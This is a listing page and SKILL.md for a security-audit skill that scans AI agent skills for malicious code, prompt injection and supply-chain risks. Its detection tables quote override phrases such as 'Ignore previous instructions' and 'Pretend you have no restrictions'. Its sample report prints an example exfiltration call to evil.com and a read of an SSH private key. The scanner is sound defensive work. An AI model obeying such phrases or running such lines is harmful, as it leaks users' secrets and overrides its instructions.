skill-security-auditor
Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".
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Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/alirezarezvani/claude-skills --skill skill-security-auditor- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads skill-security-auditor automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category | Patterns Detected | Severity |
|---|---|---|
| Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | 🔴 CRITICAL |
| Code execution | eval(), exec(), compile(), __import__() | 🔴 CRITICAL |
| Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | 🔴 CRITICAL |
| Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | 🔴 CRITICAL |
| Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | 🔴 CRITICAL |
| File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | 🟡 HIGH |
| Privilege escalation | sudo, chmod 777, setuid, cron manipulation | 🔴 CRITICAL |
| Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() | 🟡 HIGH |
| Subprocess (safe) | subprocess.run() with list args, no shell | ⚪ INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern | Example | Severity |
|---|---|---|
| System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL |
| Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL |
| Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL |
| Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH |
| Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check | What It Does | Severity |
|---|---|---|
| Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | 🟡 HIGH |
| Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | ⚪ INFO |
| Install commands in code | pip install or npm install inside scripts | 🟡 HIGH |
| Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |
4. File System & Structure
| Check | What It Does | Severity |
|---|---|---|
| Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH |
| Hidden files | .env, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| Binary files | Unexpected executables, .so, .dll, .exe | 🔴 CRITICAL |
| Large files | Files >1MB that could hide payloads | ⚪ INFO |
| Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
Audit Workflow
- Run the scanner on the skill directory or repo URL
- Review the report — findings grouped by severity
- Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
- Remediation — each finding includes specific fix guidance
Reading the Report
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
Advanced Usage
Audit a Skill from Git Before Cloning
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
FAQ
What does the skill-security-auditor skill do?
Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".
How do I install skill-security-auditor?
Run npx skills add https://github.com/alirezarezvani/claude-skills --skill skill-security-auditor in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/skill-security-auditor/ (personal) or .claude/skills/skill-security-auditor/ (project).
Which AI agents can use skill-security-auditor?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is skill-security-auditor safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains skill-security-auditor?
It is published by alirezarezvani in alirezarezvani/claude-skills. It has 788 recorded installs.
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